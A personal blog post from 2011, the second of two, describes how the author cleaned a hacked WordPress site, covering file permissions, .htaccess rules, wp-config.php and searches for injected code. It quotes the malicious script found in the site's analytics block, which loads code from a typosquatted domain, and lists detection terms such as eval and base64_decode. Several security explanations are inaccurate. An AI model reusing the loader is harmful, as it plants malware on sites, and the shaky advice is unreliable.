• << Back to 5-Rings.com
  • |
  • Blog Home
  • |
  • About the Author
  • |
  • Sample Chapter
  • ||

What to do when your WordPress blog’s been compromised (Round Two)

Posted: April 10th, 2011 under writing.
Tags: 5-Rings, Anati, theme, write

This is part two of a two-part series of posts on what to do if your self-hosted WordPress page has been hacked. If you haven’t yet, I strongly advise reading part 1 first. 

Round Two – Begin!
  1. The automation quandary.
     

    One thing that’s a pain in the butt for sure: There’s no way to automate updates for WordPress!
    If we want true peace of mind, we pretty much have to visit the WordPress backend every single day, or at least get Emails notifying us when updates are available for WordPress, and be unusually proactive about it–Especially with your add-ons, checking to see whether or not your active plug-ins are even being updated any more.

    (If you know of a way to automate updates on WordPress, please let me know.)
    So now, not only do webmasters have to keep their website software in check, but they also should be keeping track of program updates on all of their computers all of the time (And not just FTP programs. I’m talking about programs you’d never think of updating, such as Adobe Air).

    One way they may have gotten to my website is through an FTP program called Filezilla. Hackers can get full access to your website’s files using exploits if you happen to have an FTP installed on one of your computers and it happens to be outdated.

    I use three different computers, two of them on a regular basis. One of them had an outdated installation of Filezilla on it. Now it’s been updated. But every time I see another update, I pretty much have to run to the other computers and make sure they get updated, too.

    Pain. In. The. Ass.

    Luckily, I’ve found a better way.

    I don’t know if you have a smartphone, but one thing that’s great about them is they notify you when updates are available for all of your applications. You just touch ‘download and install’ and it starts doing just that in the background, much like how Windows Update works. No extra footwork required from you.

    There’s a program that behaves much the same way for Windows-based computers called Secunia PSI. It scans for installed programs, and listens for updates in the background, installing them right away (that is, if you choose to set it to’ automatic’). Once you have your PCs and laptops on auto-pilot, Secunia will make sure everything from Winamp to Avast! Antivirus stays up to date, up-to-the-minute (it even listens for Firefox and Chrome plug-in updates). And in most cases, there’s no extra footwork required.

     

     

     

     

  2.  

  3. The structure of web files, and their ‘rights’.
     

    When I first got my web space, one thing that was overwhelming to me was the file structure. It’s nothing like a C:\ drive, and there was no explanation from the web hosts telling me what’s what. I had to experiment and use a lot of guesswork to try and piece things together. 

    Unfortunately, if you don’t know why the structure is the way it is and what files do what and go where, it’s very difficult to track down a hack and fix it, much like looking for the proverbial needle in a haystack (if you’ll excuse the cliché), except it’s multiple haystacks and you don’t even know what the needle looks like.

    Certain files and folders need certain rights, and if you don’t have them PERFECT, if you make one single mistake, your entire site can be compromised.

    The domain root folder structure:

    I’ve
    only been on one web host, so I can’t be sure they’re all the
    same, but mine’s laid out like this: (I’ll label the directories we’re concerned with right now.)

    =============================================
    / <-(This is the system root directory. There are important config files in here. These are not publicly accessible.)
    /.cpaddons
    /.cpan
    /.cpanel
    /.cpcpan
    /.entropybanner
    /.fantasticodata
    /.fontconfig
    /.htmltemplates
    /.htpasswords
    /.MirrorSearch
    /.sqmaildata
    /.trash
    /access-logs
    /bin
    /cpmove.psql
    /etc
    /mail
    /php
    /public_ftp
    /public_html <-(This is the web root, where all the files that are publicly accessible are located. Literally, this is www.5-Rings.com and all of its subdirectories.)
    /quarantine
    /sql
    /sql_restore
    /tmp
    /www <-(This is literally a redirect to public_html.)
    =============================================

    Starting with the System Root directory (the plain ol’ forward slash), there may be an .htaccess file here, depending on if your server is being run with Apache or not. 

     

     

     

    One interesting thing to note is if there is a dot in front of a file, browsers ignore the file entirely. But that doesn’t mean the web host cannot preprocess commands from one of these dot files before displaying a web page to the end-user (a server-side command). 

     

     

     

    The rights to the files in this directory should be ‘644’. That is, everyone can read the files, but only you can write to it. 


    The power of .htaccess:

    .htaccess is powerful. Perhaps too powerful. I did not have an .htaccess file here, or in any subdirectories prior to the hack. The hackers created these files here, and in public_html as well, and filled them with redirect information, then planted accompanying php files to go along with it. There were nearly 100 newly created .htaccess files, and suspicious looking php files, such as 115822.php. These files were encoded to receive code injections.

    I did not delete the .htaccess file. That’s the last thing you want to do. Instead, I edited the file and got rid of whatever they put in there. Just
    deleted everything and left it blank, then saved it, which killed the link to
    the php files. Then I deleted the php files. This took hours. 

     

     

     

    Having the file there with no information on it denies hackers the ability to create their own .htaccess file with their rules attached to it.

    Fortunately, we can turn the power of .htaccess to our favor. One of the best things you can do is deny access to the entire contents of folders, and create whitelists.


    Here’s what the contents of my system root .htaccess file looks like now:

    =============================================
    <Files ~”^\.ht”>
    Order allow,deny
    Deny from all

    Satisfy All
    </Files>
    #Whitelist
    allow
    from xx.xxx.xxx.x
    allow from xx.xxx.xxx.x
    allow from xx.xxx.xxx.x
    =============================================

    Now the server is denying everyone access from any files on my domain that start with .ht … except for the three IP addresses I’ve allowed in my whitelist. 

     

     

     

    No hacker should be able to modify my .htaccess files anymore. Not without my admin password, anyway.
    Now for the public_html directory. There are many .htaccess files in here. I pretty much wiped the information out of these and deleted the rogue php files. Just to make sure I didn’t miss any files, I went through the entire thing by hand three times, backed up my site and did searches for any *.php and .htaccess files I might have missed.

    This is where I keep my WordPress root folder /blog. A few interesting things about this folder: It has a .htaccess file here and we can do interesting things with it. In particular, there’s a WordPress plugin you can use called Bulletproof Security.
    It will rewrite your .htaccess file to optimally protect WordPress. It will make sure your WordPress folder rights are set correctly.

    The WordPress root folder should be chmod 755.
    /wp-includes should be 755.
    The .htaccess file should be 644.
    The /wp-admin/.htaccess file should be 644 as well.
    Any index files should be 644.
    The /wp-admin/js folder should be 755.
    The /wp-content/themes folders should be 755.
    The /wp-content/plugins folder should be 755.
    The /wp-admin and /wp-contents folders should also be 755.

    wp-config.php
    is another interesting file. It can actually be moved out of your WordPress root directory and into the preceding folder. I moved mine from /blog to the public_html folder. You can make it chmod 400. But before you do that, there’s a few additional protective measures you can take with this file. 

     

     

     

    By default, its contents should look like this: 

    =============================================
    <?php

     

     

  4. // ** MySQL settings ** //
    define(‘WP_CACHE’, true); //Added
    by WP-Cache Manager
    define(‘DB_NAME’, ‘xxxxxxxxxx’); // The name of the database
    define(‘DB_USER’, ‘xxxxxxxxx’); // Your MySQL username
    define(‘DB_PASSWORD’, ‘xxxxxxxxx’); // …and password
    define(‘DB_HOST’, ‘localhost’); // 99% chance you won’t need to change this value
    define(‘DB_CHARSET’, ‘utf8′);
    define(‘DB_COLLATE’,”);
    // Change each KEY to a different unique phrase. You won’t have to remember the phrases later,
    // so make them long and complicated. You can visit http://api.wordpress.org/secret-key/1.1/
    // to get keys generated for you, or just make something up. Each key should have a different phrase.
    define(‘AUTH_KEY’, ”); // Change this to a unique phrase.
    define(‘SECURE_AUTH_KEY’, ”); // Change this to a unique phrase.
    define(‘LOGGED_IN_KEY’, ”); // Change this to a unique phrase.
    // You can have multiple installations in one database if you give each a
    unique prefix
    $table_prefix = ‘xxxxx’; // Only numbers, letters, and underscores please!
    // Change this to localize WordPress. A corresponding MO file for the
    // chosen language must be installed to wp-content/languages.
    // For example, install de.mo to wp-content/languages and set WPLANG to ‘de’
    // to enable German language support.
    define (‘WPLANG’, ”);
    /* That’s all, stop editing! Happy blogging. */
    if ( !defined(‘ABSPATH’) )
    define(‘ABSPATH’, dirname(__FILE__) .
    ‘/’);
    require_once(ABSPATH . ‘wp-settings.php’);
    ?>
    ============================================= 

    The main section we’re interested in is right here: 

    =============================================
    define(‘AUTH_KEY’, ”); // Change this to a unique phrase.
    define(‘SECURE_AUTH_KEY’, ”); // Change this to a unique phrase.
    define(‘LOGGED_IN_KEY’, ”); // Change this to a unique phrase.
    =============================================

    You can create key hashes that further obscure your already encrypted password. You can do this by going to WordPress.org’s official special key generator. Then, you should modify it to look something like this: 

     

     

     

  5. Finding the hacks.

    I already mentioned I found a bunch of php files that didn’t belong. They were formatted as randomNumber.php and were paired with .htaccess files. So I deleted them and modified the .htaccess files. But it can’t be that easy, right?

    I resubmitted to Google Analytics and found out that my site still wasn’t clean. They said the php injection code still existed. This meant I had to get my hands even dirtier than before and hunt down that hack once and for all.
    I copied my entire folder structure to my local hard drive. This allows me to index and search the contents of files (Sadly, it is impossible to do a file content search on an FTP due to the way the files are queried.)

    One of the most common ways to place an injection code on your site is by piggybacking the code on a php script that you’ve already written.

    These scripts usually use the built-in php library functions eval() and/or base64_decode().

    So if you search for eval and base64 and get hits, take a look at those scripts and decide if they’re actually part of your site or not. 

     

     

     

    I got no hits when I searched for these.

    Next, you want to search for any files that use the words ‘cache’, ‘bak’, ‘old’, etc. in the filename. If you see any files that are named this, but the extensions still end in .js or .php, rename them so the actual suffix is .bak or .old, etc. This is a common way hackers hide their files, because ‘config.bak.js’ is still useable even though it has the .bak in it. 

     

     

     

    You’ll also want to keep your eyes peeled for prefixes, like in ’cache-script.php’.

    Next, JavaScripts can be used by hackers. You can search for unescape() and decodeURI().
    My JavaScript for Google Analytics was actually where the injection code was located on my site. It was piggybacking on the top of: 

    =============================================
    <!—Google Analytics—>
    <script type=”text/javascript”>
    try
    {
    var pageTracker=_gat._getTracker(“xx-xxxxxx-x”);
    pageTracker._trackPageview();
    }
    catch(err){}
    </script>
    <!—End Google Analytics—>
    ============================================= 

    And it looked like this: 

    =============================================
    <script type=”text/javascript”>
    var gaJsHost=))”https:” == document.location.protocol)?”
    https://ss1.” : “http://www.”);
    document.write(unescape(“%3Cscript src=’” + gaJsHost +“google-analitics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E”));
    </script>
    =============================================

    This code is suspicious for a few reasons.

    One, I didn’t put it there. 

     

     

    Two, they misspelled ‘analytics’. 

    Three, it’s evaluating two items using a : symbol in line three. In this case, two urls.

    Four, it’s using unescape(), which is much like php’s base64_decode. This snippet takes the Google Analytics JavaScript and equates a variable as the destination. The variable becomes a decrypted Uniform Resource Identifier (URI), located in the php scripts, and causes a redirect to occur. 

     

     

     

    If you didn’t find any suspicious PHP codes, JavaScripts, or suspiciously named files, your hack may be located in the SQL database itself. *groan*

    In order to search your SQL database, you’ll need to use phpMyAdmin’s search feature. You’ll want to look for ftp_credentials, class_generic_support, widget_generic_support, fwp, wp_check_hash, and anything that begins with rss by using ‘rss_%’, other than rss_language, rss_use_excerpt, and rss_excerpt_length.
    I got no hits here, either. 

    At this point, I changed my passwords to something more permanent and resubmitted to Google Analytics. 

    This time, everything was clean. 

    Hope this helped your site get clean, too!

     

     

« « What to do when your WordPress blog’s been compromised (Round One) | Um, so do I just have a dirty mind? » »


3 Comments »

  1. Well, though my head might just explode from all that code and info, at least I know a good chunk of what to do if (not saying when…) I ever get hacked. I think my web host is pretty dependable as it’s local and I know the guy who runs it, and I think I’ve nailed down most of my hatches – nobody sneaking on board.

    Glad you seem to have it set-up and gotten your site clean. Oh, and thanks for the re-tweet of May, I think I got a few more visitors because of that!

    [Reply]

    >

    Nick Enlowe Reply:
    April 12th, 2011 at 10:05 am

    Yay for threaded replies! PHP power!

    It’s good to hear your blog is safe. My head probably exploded a couple of times trying to figure all that out. But hey, I learned from it and it is now posted here, lest I forget.

    I’m more than glad to re-tweet your serial–May has been good readin’. I like the characters quite a bit and the writing’s rock-solid, man.

    [Reply]

    Comment by Ryan G. Sanders — April 12, 2011 @ 9:25 am


  2. Glad to see you’re back up and running.

    [Reply]

    Comment by KLCtheBookWorm — April 24, 2011 @ 8:07 am



~TrackBack URL~

Leave a comment

Click to cancel reply

Subscribe!
 
...by RSS Feed


...by Email

 

April 2011
S M T W T F S
« Mar   May »
 12
3456789
10111213141516
17181920212223
24252627282930

Tweets->

  • Something big going on - http://t.co/nHTNcQkQ 2 hours ago
  • I've had a vision: A New Word Processor for Fantasy Novel Writers! - http://t.co/slVp1lUq 2012/02/07
  • Writing Journal Entry for 02-06 - http://t.co/UcYOgwgc 2012/02/06
  • Journal entry for 1-31 - http://t.co/R55wwbVO 2012/01/31
  • This morning's journal entry. - http://t.co/Rn6Noklt 2012/01/30

Recent Comments

  • Merrilee on I’ve had a vision: A Word Processor for Fantasy Novel Writers!
  • Ryan G. Sanders on I’ve had a vision: A Word Processor for Fantasy Novel Writers!
  • Nick Enlowe on I’ve had a vision: A Word Processor for Fantasy Novel Writers!
  • Ryan G. Sanders on I’ve had a vision: A Word Processor for Fantasy Novel Writers!
  • Brian on I’ve had a vision: A Word Processor for Fantasy Novel Writers!

Recent Posts

  • Something big’s going on
  • I’ve had a vision: A Word Processor for Fantasy Novel Writers!
  • Writing Journal Entry for 02-06
  • Journal entry for 1-31
  • This morning’s journal entry.

Archives

  • February 2012
  • January 2012
  • December 2011
  • November 2011
  • October 2011
  • September 2011
  • August 2011
  • July 2011
  • June 2011
  • May 2011
  • April 2011
  • March 2011
  • February 2011
  • January 2011
  • December 2010
  • November 2010
  • October 2010
  • September 2010
  • August 2010
  • July 2010
  • June 2010
  • May 2010
  • April 2010
  • March 2010
  • February 2010
  • January 2010
  • December 2009
  • November 2009
  • September 2009
  • August 2009
  • July 2009
  • June 2009
  • May 2009
  • April 2009
  • March 2009
  • February 2009
  • January 2009
  • December 2008
  • November 2008
  • October 2008
  • September 2008
  • August 2008
  • July 2008
  • June 2008
  • May 2008
  • April 2008
  • March 2008

Resources for Writers:


The Word Cloud writing community
Limyaael's Rants
Fantasy Worldbuilding Questions

Blogs by Well-known Authors:


The Dragonmount Blog
Patrick Rothfuss
Brandon Sanderson
Neil Gaiman

Writing Broadcasts:


Writing Excuses Podcast

Fellow Writers:


Not Enough Words
Ryan G. Sanders
Soul Saga
C.R. Hindmarsh
Davina Pearson
The Awake Ones
One Swaying Behind
SmithWriting Blog
Natania Barron
Tales of a Fantasy Scribbler
Right Brain Spasms
Ken Kizer
Steph-O-Rama

Miscellaneous:


Blisters In May
Goodreads

How-To Blogs - BlogCatalog Blog Directory Add to Technorati Favorites

Creative Commons License
FIVE RINGS by NICK ENLOWE is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License.
Based on a work at 5-Rings.com. [E]





Copyright © 2007-2012 Nick Enlowe.

MCN: W16-4STV-6080